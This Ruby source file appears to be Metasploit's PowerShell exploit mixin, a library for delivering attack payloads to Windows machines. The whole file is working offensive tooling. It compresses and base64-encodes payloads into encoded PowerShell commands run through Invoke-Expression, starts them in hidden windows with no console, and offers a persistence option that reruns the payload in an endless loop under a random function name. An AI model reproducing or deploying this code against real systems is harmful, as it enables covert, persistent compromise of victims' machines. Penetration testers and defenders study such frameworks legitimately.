# -*- coding: binary -*-
require 'zlib'

module Msf
module Exploit::Powershell

  def initialize(info = {})
    super
    register_options(
    [
        OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
        OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
        OptBool.new('RUN_WOW64', [
          true,
          'Execute powershell in 32bit compatibility mode, payloads need native arch',
          false
            ]),
      ], self.class)
  end

  #
  # Insert substitutions into the powershell script
  #
  def make_subs(script, subs)
    if ::File.file?(script)
      script = ::File.read(script)
    end

    subs.each do |set|
      script.gsub!(set[0],set[1])
    end
    if datastore['VERBOSE']
      print_good("Final Script: ")
      script.each_line {|l| print_status("\t#{l}")}
    end
    return script
  end

  #
  # Return an array of substitutions for use in make_subs
  #
  def process_subs(subs)
    return [] if subs.nil? or subs.empty?
    new_subs = []
    subs.split(';').each do |set|
      new_subs << set.split(',', 2)
    end
    return new_subs
  end

  #
  # Read in a powershell script stored in +script+
  #
  def read_script(script)
    script_in = ''
    begin
      # Open script file for reading
      fd = ::File.new(script, 'r')
      while (line = fd.gets)
        script_in << line
      end

      # Close open file
      fd.close()
    rescue Errno::ENAMETOOLONG, Errno::ENOENT
      # Treat script as a... script
      script_in = script
    end
    return script_in
  end


  #
  # Return a zlib compressed powershell script
  #
  def compress_script(script_in, eof = nil)

    # Compress using the Deflate algorithm
    compressed_stream = ::Zlib::Deflate.deflate(script_in,
      ::Zlib::BEST_COMPRESSION)

    # Base64 encode the compressed file contents
    encoded_stream = Rex::Text.encode_base64(compressed_stream)

    # Build the powershell expression
    # Decode base64 encoded command and create a stream object
    psh_expression =  "$stream = New-Object IO.MemoryStream(,"
    psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
    # Read & delete the first two bytes due to incompatibility with MS
    psh_expression << "$stream.ReadByte()|Out-Null;"
    psh_expression << "$stream.ReadByte()|Out-Null;"
    # Uncompress and invoke the expression (execute)
    psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
    psh_expression << "$(New-Object IO.Compression.DeflateStream("
    psh_expression << "$stream,"
    psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
    psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"

    # If eof is set, add a marker to signify end of script output
    if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

    # Convert expression to unicode
    unicode_expression = Rex::Text.to_unicode(psh_expression)

    # Base64 encode the unicode expression
    encoded_expression = Rex::Text.encode_base64(unicode_expression)

    return encoded_expression
  end

  #
  # Runs powershell in hidden window raising interactive proc msg
  #
  def run_hidden_psh(ps_code,ps_bin='powershell.exe')
    ps_args = " -EncodedCommand #{ compress_script(ps_code) } "

    ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = #{ps_bin}
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
EOS

    return ps_wrapper
  end

  #
  # Creates cmd script to execute psh payload
  #
  def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
    # Allow powershell 1.0 format
    if old_psh
      psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
    else
      psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
    end
    # Run our payload in a while loop
    if datastore['PERSIST']
      fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
      sleep_time = rand(5)+5
      psh_payload  = "function #{fun_name}{#{psh_payload}};"
      psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
    end
    # Determine appropriate architecture
    ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
    # Wrap in hidden runtime
    psh_payload = run_hidden_psh(psh_payload,ps_bin)
    # Convert to base64 for -encodedcommand execution
    command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
  end

  #
  # Convert binary to byte array, read from file if able
  #
  def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
    code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
    code = code.unpack('C*')
    psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
    lines = []
    1.upto(code.length-1) do |byte|
      if(byte % 10 == 0)
        lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
      else
        lines.push ",0x#{code[byte].to_s(16)}"
      end
    end
    psh << lines.join("") + "\r\n"
  end



end
end